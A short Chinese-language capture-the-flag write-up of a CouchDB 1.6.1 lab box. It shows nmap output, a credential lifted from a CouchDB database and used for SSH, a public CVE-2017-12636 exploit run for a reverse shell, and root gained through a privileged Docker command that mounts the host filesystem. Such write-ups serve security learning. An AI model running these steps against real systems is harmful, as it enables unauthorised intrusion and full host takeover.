端口扫描

nmap --min-rate=10000 -p- 10.10.23.241
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-14 11:24 UTC
Nmap scan report for ip-10-10-23-241.eu-west-1.compute.internal (10.10.23.241)
Host is up (0.0084s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5984/tcp open couchdb
MAC Address: 02:F9:FF:B0:CC:6F (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 3.46 seconds
nmap -sT -sC -sV -O -p22,5984 10.10.23.241   
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-14 11:25 UTC
Nmap scan report for ip-10-10-23-241.eu-west-1.compute.internal (10.10.23.241)
Host is up (0.00052s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 349d390934304b3da71edfeba3b0e5aa (RSA)
| 256 a42eef3a845d211bb9d42613a52ddf19 (ECDSA)
|_ 256 e16d4dfdc8008e86c2132dc7ad85139c (ED25519)
5984/tcp open http CouchDB httpd 1.6.1 (Erlang OTP/18)
|_http-server-header: CouchDB/1.6.1 (Erlang OTP/18)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
MAC Address: 02:F9:FF:B0:CC:6F (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.10 - 3.13
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds

Web

访问couchDB的web服务,在secret数据库中找到一个凭据atena:t4qfzcc4qN##,用于ssh登录

提权

发现历史记录没有删,看了一下貌似没有用的东西

想着利用couchDB的漏洞来RCE看看:

https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

更改目标IP与反弹shell的IP和端口,执行之后可以得到couch身份的shell但是也没什么用

当我再回到之前的历史记录,发现是有运行一个docker指令的

docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine

而且atena用户有运行容器的权限,照样输入,提权成功!

碎碎念

还是比较easy的靶机,虽然过程中没有用到,但还是了解了一下couchDB的一些exploit方式